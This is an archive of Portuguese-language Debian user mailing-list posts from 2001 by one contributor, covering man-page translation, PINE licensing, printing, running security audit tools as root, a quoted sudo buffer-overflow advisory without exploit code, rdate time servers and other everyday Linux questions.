>> possível, colaborem com  GNU/Linx!
>estamos aí pra ajudar... a única diferença é que o Debian-BR está interessado
>em trabalhar aspectos específicos do Debian como descrições de pacotes,
>templates debconf... fazemos isso porque sabemos e confiamos no LDP-BR para
>tratar das partes que os sistemas compartilham... não há divergência mas
>uma cooperação mútua (visto que ao tentar melhorar o Debian nós muitas vezes
>acabamos traduzindo ou melhorando um programa que é usado por outras...)

Precisamos, acima de tudo, de críticas construtivas, para que possamos
realmente 'gastar' nosso tempo de maneira produtiva e que tenha um real
valor para toda a comunidade GNU/Linux!
Precisamos de tradutores e revisores que estejam dispostos a botar a mão
na massa!

Abraços,

E sucesso com esta nova empreitada da Debian-br!
>logo logo com traduções das descrições!! =)

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You dialed 5483.



Lançamento do primeiro pacote de páginas de manual traduzido para o pt_BR (fwd ) L O N G O!

2001-08-09 Por tôpico Ricardo Castanho de O. Freitas
Olá Pessoal!

Estou fazendo este (fwd), porque acredito que isto seja importante para
todos os usuários GNU/Linux, independente de qualquer coisa, pois somos
todos por um só movimento... o GNU/Linux!

Eu sei que muitos da Debian-br não gostam das traduções feitas pela
LDP-BR!
É um trabalho voluntário que iniciou-se muito tempo atrás, concluido
somente agora devido ao enorme número de man pages existente *e* as
naturais dificuldades de um esforço coletivo voluntário!

Quem quiser colaborar sugerindo correções e/ou sugestões, favor entrar em
contato com o André Luiz Fassone Canova <[EMAIL PROTECTED]>, que é
o atual coordenador deste trabalho junto à LDP!

Divergências quanto à tradução sempre existirá! Cabemos avaliar quanto à
compreensão e aspectos técnicos (ou seja traduções que levam à
interpretações errôneas, que é a nossa maior preocupação!)

Não fossem as divergências... não teríamos tantas distribuições Linux!

Lembrando que o projeto LDP não pertence à ninguém!
E nem seu braço brasileiroa LDP-BR! Gentilmente sediada na
Conectiva!

Este trabalho iniciou-se em 1997 na Conectiva e pela Conectiva, passando à
LDP-BR em 1998, ganhando cada vez mais voluntários de todas as distribuições
para concluir mais este trabalho!

Esperamos contar com a colaboração do pessoal da Debian-br, que esta
envolvida em suas próprias traduções e prioridades, mas na medida do
possível, colaborem com  GNU/Linx!

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Keep emotionally active.  Cater to your favorite neurosis.

-- Forwarded message --
From: André Luiz Fassone Canova <[EMAIL PROTECTED]>
To: LDP-BR <[EMAIL PROTECTED]>
Subject: Lançamento do primeiro pacote de páginas  de manual traduzido para
o pt_BR
Date: Thu, 9 Aug 2001 00:04:08 -0300

Olá,

É com  imenso prazer que torno público o primeiro release público do
pacote de páginas de manuais totalmente traduzido e revisado para a nossa
língua pátria. Saliento que tal feito só ocorreu devido a valorosa e
inestimável colaboração de dezenas de pessoas que ajudaram,
voluntariamente, cedendo seu tempo pessoal para trabalhos de tradução e
revisão. Ressalto ainda o apoio institucional da Conectiva S/A que nos
fornece apoio técnico e material no sentido de podermos manter os
servidores, necessários ao projeto, em funcionamento.

E, como todos sabemos, o trabalho não estará finalizado neste ponto
pois pretendemos manter a comunidade GNU/Linux brasileira abastecida de
documentação atualizada em um ritmo, no mínimo, igual ao de outras
comunidades. Para tal a cooperação, base do desenvolvimento de nossa
comunidade, é fundamental. E neste sentido, com o lançamento destas
páginas, desejamos aglutinar esforços de cooperação voluntária em nosso
país.

Gostaríamos, também, que este impacto se estendesse para outras
comunidades em outros países e que neste países esforços para
democratizar o acesso de informação se tornassem fortes e efetivos já
que a informação não representa apenas o poder, representa mais,
representa possibilidades que podem nos tornar melhores e maiores.

Novamente gostaria de agradecer a Conectiva S/a por manter a hospedagem do
site da LDP-BR, o mirror da LDP e a lista de discussões que
disponibilizamos para sustentar as atividades das quais necessitamos. E
a todos os tradutores/revisores que empenharam suas horas vagas, horas de
sono, passeios familiares, finais de semana e uma infinidade de afazeres
pessoais em prol do nosso sonho... o sonho de democratizar o GNU/Linux em
nosso pais e com isto torna-lo socialmente mais justo e menos excludente.

Os link para download dos arquivos são:
http://ldp-br.conectiva.com.br/projetos/man-pages/


Muito obrigado,

André Luiz Fassone
Coordenador de traduções das páginas de manual da LDP-BR




Re: Fw: Re: PINE [era Mutt]

2001-07-10 Por tôpico Ricardo Castanho de O. Freitas
On Tue, 10 Jul 2001, Gustavo Noronha Silva wrote:

>corromper não vai, se o programa é livre ou não vai ficar pra
>você conferir (tudo que tá no main do debian é livre)... estabilidade
>do software vai ser a dele... depois de instalado o pacote tá tudo blz...
Oba

>> Ou seja, paradoxalmente, a única distro que 'poderia' trazer o PINE sem
>> 'ferir' a licença seria Debian, mas que não o faz justamente porque o PINE
>> não é *totalmente* livre.
>bom... esses sites estão errados

Acho que não! Por isto eu mantive o 'poderia' entre aspas! Eles estavam
falando no geral, da filosofia de distribuir somente o que é realmente
FREE (livre)!

O 'motivo' Debian como você explicou abaixo... de distribuir o binário
modificado, já não permite isto.

>a licença do pine diz que não se pode distribuir o pine binário modificado...
>como o maintainer dele precisa aplicar patches nele pra criar o deb,
>ele não pode ser construído... por isso só se distribui os sources e "por
>osmose" o patch (diff.gz)... o Debian não tem nada de compatível com
>a licença do pine... por isso ele tá no non-free e nem como binário está...
>hehehe

Obrigado pelo esclarecimento!

[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You will gain money by an immoral action.



Re: Fw: Re: PINE [era Mutt]

2001-07-10 Por tôpico Ricardo Castanho de O. Freitas
On Tue, 10 Jul 2001, cmax wrote:

>Eu já fiz uma boa parte de tudo que é de errado referente ao linux.
>Comecei com um conectiva marumbi.
>Mudei para o Corel.
>Instalei diversos programas rpm debinizados.
>E isso foi o pior. O sistema praticamente não se mexia mais. Tudo
>dava algum tipo de erro, mensagem de aviso, o caos.

E sobre isto que eu estava falando! Eu realmente acho que eu chegaria a
este tipo de caos!

>Instalei um Debian potato + progeny newton e tenho carinho demais
>para com meu companheiro para por qualquer tipo de coisa nele.

Sem dúvida! Para que colocar em risco algo que está funcionando
redondinho?

>Agora eu sou bastante purista: se não tem em .deb, então não
>faz falta! ;-)

Novamente, é isto que eu quero dizer que *agora*  eu entendo o porque ser
'purista'... por opção! justamente devido as caracteristicas da distro
Debian...
Mas, de novo, acho que o mais importante eu consegui! Migrar totalmente
para o Linux! Se a forma ou modo não foi adequado... já são outros 500's!
Principalmente, porque hoje estou totalmente operacional no  Linux!
Mas antes de dar outro passo, entendo que preciso conhecer mais o Linux
como um todo.

[]s Ricardo Castanho

>Abraço
>Cláudio Max

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Your aim is high and to the right.



Re: Fw: Re: PINE [era Mutt]

2001-07-10 Por tôpico Ricardo Castanho de O. Freitas
On Tue, 10 Jul 2001, Gustavo Noronha Silva wrote:

>Em Tue, 10 Jul 2001 01:04:44 -0300 (EST)
>"Ricardo Castanho de O. Freitas" <[EMAIL PROTECTED]> escreveu:
>
>> Ví em uma de suas msg que *não* é recomendado a instalação de prg não
>> .deb numa distro Debian (pois como você disse já são +7000 prg portados!).
>> Quais seriam as implicações? instabilidade ou outra razão?
>você está desviando do sistema de empacotamento... isso faz com que
>o gerenciamento de pacotes fique bagunçado, afinal de contas, qual
>a dificuldade converter um rpm pra deb antes de instalar? =)

Bem, aqui é uma das razões...
Parece-me que quando criam um pacote .deb, existe um cuidado maior, como
com a questão do Free (livre) software, compatibilidade, estabilidade e
etc!
A utilização do alien (rpm => deb), me pareceu que a princípio, iria
corromper o sistema .deb (justamente por 'nem sempre' satisfazerem as
questões do parágrafo anterior).

>mesmo assim acho difícil precisar...
Sem dúvida, devido ao número (+7000!)...fica difícil algo ficar de fora!
E como acompanhei recentemente, você fez o 'port' do sylpheed para o
Debian, não foi?
Houve a demanda... surgiu a solução!

>> Pergunto porque, quando iniciei no Linux, esta foi uma das razões que eu
>> não iniciei com o Debian! Eu não havia compreendido a 'filosofia' do
>> Debian que como se comenta... apesar de ser a única distro que
>> 'poderia' trazer o PINE, não traz justamente pela restrição imposta pelos
>> desenvolvedores!
>bom... não entendi qual foi a razão pela qual você não começou no
>Debian, nem por que você diz que ela é a única que 'poderia'
>trazer o pine =)

1. Porque não Debian?
Justamente pela informação (errada) de que no Debian não se pode usar nada
que não seja Debian! O que não está totalmente errado, mas a impressão que
eu tive foi de ficar preso à uma distro!(Fiquei 'preso' em outra distro ;-)
Eu gosto de fazer experiências, de 'xeretar', de fazer experiências! O que
devido à informação recebida... seria impossível!
Hoje eu entendo o motivo!

2. PINE:
Segundo informações em 'n' sites (brasileiros ou não), a única distro que
é compatível com a licença PINE é a Debian (principalmente por não ser
uma distro comercial, mas existem outros fatos!).
Ou seja, paradoxalmente, a única distro que 'poderia' trazer o PINE sem
'ferir' a licença seria Debian, mas que não o faz justamente porque o PINE
não é *totalmente* livre.

Estou falando da inclusão em um 'release' como o potato! E não da ação
voluntária de um usuário!
Estou certo?

>seria bom continuar essa discussão na lista, não tem sentido falar
>em pvt... se você não se importar vou fazer forward das mensagens
Sem problemas!

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
So this it it.  We're going to die.



Re: Mutt

2001-07-09 Por tôpico Ricardo Castanho de O. Freitas
On Mon, 9 Jul 2001 [EMAIL PROTECTED] wrote:

Olá Douglas!

Quanto ao Mutt fico devendo... eu uso PINE [comentários abaixo]!
>Será que alguém sabe como configurar SMTP e POP3 no Mutt?
>E também ouvi falar que tem como mudar as cores.
>
>Outra questao relativa a email eh o sobre o PINE, ele não é mesmo gratuito?

O PINE é gratuito, embora não seja FREE (livre) porque a licença tem
certas restrições/limitações quanto à distribuição!

O CL6 não trouxe o PINE por estas restrições (A Conectiva 'personaliza' os
produtos distribuidos e isto conflita com a licença do PINE).
Este problema foi resolvido e soube que o PINE estará no CL7, porque houve
um entendimento com relação as alterações.

Se quiser, pegue em:
http://www.washington.edu/pine/
e instale!

Se houver dificuldades na configuração do "From:" (tem uns macetes!!!)
email me!

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Keep emotionally active.  Cater to your favorite neurosis.



Re: Impressão/Processador de Textos...

2001-06-21 Por tôpico Ricardo Castanho de O. Freitas
Olá Celso!

Eu tinha esta impressora e agora tenho uma 810C e ambas funcionam muito
bem com um pequeno programa que tem o 'modo econômico'.
Eu tenho configurado duas impressoras uma no modo normal e a outra no modo
econômico! É econômico mesmo!

o nome do programa é 'hpgs', pelo nome dá para ver que a saída é em 'gs'
(postscript).

Depois deste, principalmente pela facilidade de uso esqueci os outros!

[]s Ricardo Castanho

On Wed, 20 Jun 2001, Gustavo Noronha Silva wrote:
>Em Wed, 20 Jun 2001 00:14:17 -0500
>Celso Andrade <[EMAIL PROTECTED]> escreveu:
>> To usando o Abiword, ta funcionando bem até agora.  Ele é bem semelhante ao 
>> M$
>> word.
>> Só estou tentando descobrir como limitar a qualidade da impressão... 
>> gostaria de
>> colocar em modo rascunho. Alguém tem idéia de como fazer? a impressora é 
>> Hp610c.
>> Usei o magicfilter para configurá-la.
>na verdade você precisa configurar 2 impressoras, uma com hp** e outra
>com hp**low... algo assim... quanto ao Abiword, eu também uso, mas ele
>tem muitas limitações ainda (as mesmas que o kword basicamente)...
>ex: o hadling de figuras dele é sofrível...

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Fine day for friends.
So-so day for you.



Man Pages do Conectiva (GPL!)

2001-06-16 Por tôpico Ricardo Castanho de O. Freitas
Olá Pessoal!

Acompanhei algumas mensagens sobre tradução das chamadas man pages...
Se houver interesse em utiliza-las, é só entrar em contato com:
> André <[EMAIL PROTECTED]>.

Ele é o atual Coordenador das traduções da LDP-BR. Ele pode informar o
estágio atual de tradução e revisão.

Faltam apenas 50 man pages para finalizar mais uma etapa! Portanto, toda e
qualquer ajuda será bem-vinda!

É um trabalho para toda a comunidade Linux! Portanto sob GPL!
Não 'pertencem' à ninguem, exceto os autores e os usuários!

Como todos sabem, existem divergências sobre a tradução de certos têrmos
técnicos, tipos Kernel (cerne?, núcleo?..) ou qualquer outra palavra que
alguns julgam já incorporadas em nosso jargão e, portanto, não deveriam
ser traduzidas, mas tudo isto é sujeito à análise dos interessados.

Por exemplo: Como ficaria a tradução do termo 'hash file'? Os técnicos já
estão acostumados com o termo 'hash'...mas, e os novatos?

Nada impede que novas revisões sejam efetuadas (sempre temos um tradutor e
um revisor para cada página), basta acrescentar mais um nome de revisor ao
término, mantendo todas as orientações sobre 'copyright' especificadas em
cada página.

[]s Ricardo Castanho
(um dos tradutores/revisores)

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Your talents will be recognized and suitably rewarded.



Re: duvidas sanadas ;-)

2001-04-24 Por tôpico Ricardo Castanho de O. Freitas
On Tue, 24 Apr 2001, Carlos Laviola wrote:
Olá Carlos!

Parece que temos propósitos diferentes!!! você me mandou uma correção já
muito velha o que mostra que você está desatualizado no minimo!

A minha intenção foi somente relatar minha experiência com alguns
programas e informar que o netscape funciona sim, como root, em alguns
sistemas, salvo o Debian como você mencionou e me corrigiuobrigado!

Só que estes programas são muito mais que programas para script kiddies,
ou qualquer que seja o nome que eles recebem!!!

realmente eu só sei que que leio, o que parece que vc não tem feito!!!

E eu fui humilde o suficiente para PEDIR esclarecimentos, caso estivesse
enganado, e não este tipo de resposta!
Se quiser chamar a atenção de alguém... faço quando você estiver 100%
certo do que está fazendo!
A sua orientação é de 26 de Fevereiro
A minha é de 03 de Março!!! o que é tempo demais em termos de
segurança!
Com certeza já deve ter outra!!!

Se você quiser continuar num tom adequado a quem tentou ajudar e pediu
correções/informações no caso de incorreções, faça-o se puder, senão eu,
infelizmente, dispenso este tipo de comentário!

não estou competindo com ninguém, quero compartilhar e aprender e SÓ!!!

Assim como você não sabe quem sou e o que faço, eu também não tenho a
mínima idéia de quem você é ou o que faz, mas isto é pre-requisito para a
lista???
por isto existe(deveria existir) um compartilhamento de
informações nas listas! Todos sabemos algo que alguém não sabe! E eu quero
aprender!

E se você entente o que lê: leia a minha primeira postagem!
lá eu digo que alguns programas de 'segurança' (aspas em sua homenagem!),
exigem que somente o /root ou equivalente, tenham acesso a tais tipos de
programas! Eu não logo como root para tudo! Mas existem trabalhos
essenciais que devem ser feito por /root, ou equivalente, e se o sistema
for suficientemente seguro, não haverá problemas! Ou seja, executa-se o
trabalho e sai o /root de cena!

Dispenso comentários que não levam à nada!!!

Ricardo Castanho

===
Topic:  sudo contains local buffer overflow

Category:   ports
Module: sudo <==
Announced:  2001-04-23 <
Credits:Chris Wilson <[EMAIL PROTECTED]>
Affects:Ports collection prior to the correction date.
Corrected:  2001-03-07
Vendor status:  Updated version released
FreeBSD only:   NO <===

I.   Background

sudo is a program that allowss a sysadmin to give limited root
privileges to users and logs root activity.

II.  Problem Description

The sudo port, versions prior to sudo-1.6.3.7, contains a local
command-line buffer overflow allowing a local user to potentially
gain increased privileges on the local system.

III. Impact

Local users may potentially gain increased privileges on the local
system.

If you have not chosen to install the sudo port/package, then your
system is not vulnerable to this problem.

IV.  Workaround

Deinstall the sudo port/package if you have installed it.

V.   Solution

One of the following:

1) Upgrade your entire ports collection and rebuild the sudo port.

2) Deinstall the old package and install a new package dated after the
correction date, obtained from:
===

> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
>
> sudo (1.6.3p6-1) unstable; urgency=high
>
>   * new upstream version, fixes buffer overflow problem,
> closes: #87259, #87278, #87263
>   * revert to using --with-secure-path option at build time, since the option
> available in sudoers is parsed too late to be useful, and upstream says
> it won't get fixed quickly.  This reopens 85123, which I will mark as
> forwarded.  Closes: #86199, #86117, #85676
>
>  -- Bdale Garbee <[EMAIL PROTECTED]>  Mon, 26 Feb 2001 11:02:51 -0700
>
> On 24-Apr-2001 Ricardo Castanho de O. Freitas wrote:
> > On Tue, 24 Apr 2001, Carlos Laviola wrote:
> >> Falar de SEGURANÇA!!! mas logar como root pra tudo não combina muito.. Eu
> >> não me
> >> logo como root pra nada, mas consigo rodar programas como root usando sudo.
> >> Recomendo que você leia sobre ele ou sobre o super.
> > Boa recomendação se forem sanados antes os últimos expoits para sudo!
> > Como você falou, aliás dá para perceber, SEGURANÇA é assunto sério!
> > Mas rodar programas com falhas de segurança (como o sudo, recentemente...)
> > dá no mesmo!
>
> Você entende do que fala ou só repete o que lê nas listas?
>
> > Mas se o SAINT não for um programa de auditoria de segurança... oque é
> > então?
>
> Um programa pra ajudar script kiddies

Re: duvidas

2001-04-24 Por tôpico Ricardo Castanho de O. Freitas
On Sat, 21 Apr 2001, Fernando Fraga e Silva wrote:
> Somente o netscape da Debian ( i.e. netscapedeb ) forçava o não uso pelo
> root. Isto funcionava através de um script de wrapper. Caso fosse necessário,
> absolutamentamente necessário, poder-ser-ia rodar o binário do netscape, que
> se chama algo como "netscape.real" e ficava em /usr/X11/lib/
> Simples, infelizmente não tenho acesso a root nesta máquina, logo, não posso
> testar para saber se o wrapper continua não permitindo o acesso pelo root.
> Mas, programa de segurança que requer o netscape para funcionar ? Parece
> piada... hehheeheeh, vc. me enganou! Por um instante pensei que fosse verdade.
Olá Fernando!
Então me esclarece uma coisa se o SAINT (ou ex-SATAN) não é um
programa de auditoria de SEGURANÇA... o que ele é?
Estou falando do uso racional dele! o que exclui, na minha opinião deixar
que usuários não /root usem! concorda?
Eu desinstalei o debian para testar o FreeBSD, portanto por enqto não
posso testar, mas com certeza deve haver uma solução debian, nem que seja uma
versão 'customisada', não??

Você já testou o Saint? ele gera relatórios em html (ou seja qq browser,
nas se é Netscape ou não, acho que é um detalhe...[na segurança] ...)
Se eu estiver errado, por favor... me informe!

[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
==
Are you sure the back door is locked?



Re: duvidas x certezas

2001-04-24 Por tôpico Ricardo Castanho de O. Freitas
On Tue, 24 Apr 2001, Shay Moreno wrote:
> > > Que eu saiba, o netscape não pode ser executado como root por medidas de
> > > segurança, mas nunca tentei mudar isso.
> > Acho que isto mudou! em minha maquina funcionou com várias distros!!!
> > não é aconselhável navegar, mas existem programas que precisam dele,
> > rodando como root!! e são de SEGURANÇA!!!
>   Um programa de segurança que precisa do Netscape rodando sob o
> superusuário... isso não é algum tipo de contradição?
Talvez, mas o SAINT (ex-SATAN), que é uma ferramenta de auditoria de
segurança, só roda como root e precisa de um browser já que os relatórios
são gerados em html!
E tem tb o Nessus que utiliza o mesmo processo!

Acho pior um usuário comum com uma ferramenta destas nas mãos!
Trocar as permissões tb não acho uma boa idéia...

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
==
Be careful!  UGLY strikes 9 out of 10!




Re: duvidas

2001-04-23 Por tôpico Ricardo Castanho de O. Freitas
On Mon, 23 Apr 2001, Raphael DephiNit Pereira wrote:
> Que eu saiba, o netscape não pode ser executado como root por medidas de
> segurança, mas nunca tentei mudar isso.

Acho que isto mudou! em minha maquina funcionou com várias distros!!!
não é aconselhável navegar, mas existem programas que precisam dele,
rodando como root!! e são de SEGURANÇA!!!

Funcionou em Slack, Debian, FreeBSD e Cl6!

[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
==
You will pay for your sins.  If you have already paid, please disregard
this message.



Re: Matando processos D

2001-04-13 Por tôpico Ricardo Castanho de O. Freitas
On Fri, 13 Apr 2001, Marcelo L. Coelho wrote:
> >  Às vezes, também, o processo
> >vira um "zombie", daí quem trabalha com estações/servidores que ficam
> um bom tempo em pé costuma achar vários zombies rodando (netscape sempre
> tem).
> Perdoem-me a falta de cultura; Oque seria isso "zombie"
Você nunca assistiu daqueles filmes de Voodoo ( não é a placa de vídeo!!!)
Aqueles caras que morrem nas ficam adando por aí, mortos, mas
aterrorizando as pessoas?
Então, são aqueles processos que aparentemente morrem mas ficam
ocupando espaço, se digitar o comando 'top' você vai ver que no alto tem
uma entrada para os zombies... aí é só matar eles de vez!!!

[]s Ricardo



-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
==
You are farsighted, a good planner, an ardent lover, and a faithful friend.



Re: servidor de data

2001-02-23 Por tôpico Ricardo Castanho de O. Freitas
On Fri, 23 Feb 2001, DNA-K wrote:
> Date: Fri, 23 Feb 2001 19:30:54 -0300
> Olá lista, alguém aqui conhece um bom servidor de data (para usar o rdate)?
> não sei se foi para essa lista, mas alguém tinha postado uns servidores de
> data da nasa...
Olá!
Eu uso o relógio atômico do Observatório Nacional e funciona!
só que o rdate é para acertar data e hora
eu uso via cron: rdate -s 200.20.186.75
e se necessário ajustar o hwclock

[]s Ricardo Castanho


-- 
==
Ricardo C.O. Freitas
mailto: [EMAIL PROTECTED]
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
=



Re: Pine

2001-02-07 Por tôpico Ricardo Castanho de O. Freitas
On Wed, 7 Feb 2001, KrIsSkRoSs wrote:
> Caros,
> Dentre os non-free apps encontrei o pine-docs e pgp4pine, mas onde
> está o pine propriamente dito?
> KrIsSkRoSs 

Olá!
Procure em ftp://ftp.cac.washington.edu/pine/

A última versão é:4.31

[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas
mailto: [EMAIL PROTECTED]
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
=
   Speak softly and carry a cellular phone.




Re: Valor x Placa Onboard

2001-02-07 Por tôpico Ricardo Castanho de O. Freitas
On Wed, 7 Feb 2001, Antonio A. Lobato wrote:
> From: Antonio A. Lobato <[EMAIL PROTECTED]>
> To: debian-user-portuguese@lists.debian.org
> Subject: Valor x Placa Onboard
> Date: Wed, 7 Feb 2001 03:07:42 -0200
>   -Eh assim mesmo que funciona ? Ou seja, terei que pagar ~30% mais para 
> um
> computador compativel com Linux (nada onboard) ?
>   -O melhor lugar para se comprar computadores eh realmente na Santa
> Efigenia em SaoPaulo, ou alguem sugere outro (talvez Sorocaba ou
> Piracicaba) ?
>   Tom.

Olá Tom!

Eu moro em Sorocaba e tenho "encomendado" meus dois últimos computadores
aqui na cidade...
A qualidade é boa (nunca tive problemas)... a não ser com preços ;-(
Mas é possivel obter um BOM computador por um bom preço, tudo depende da
configuração.
Agora o nada 'on board' depende já colegas da linux-br(lista) terem
TUDO on board e SEM problemas se você puder esperar posso perguntar
para a lista e ver quem é

ou fornecer o nome dos 'fornecedores' locais...de boa qualidade (testados
por mim, por isto posso recomendá-los sem medo).

abraços,

Se tiver interesse PVT!

Ricardo Castanho


-- 
==
Ricardo C.O. Freitas
mailto: [EMAIL PROTECTED]
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
CL6.0 + Pine4.31 (This msg is 100% MS Free!)
=
   Speak softly and carry a cellular phone.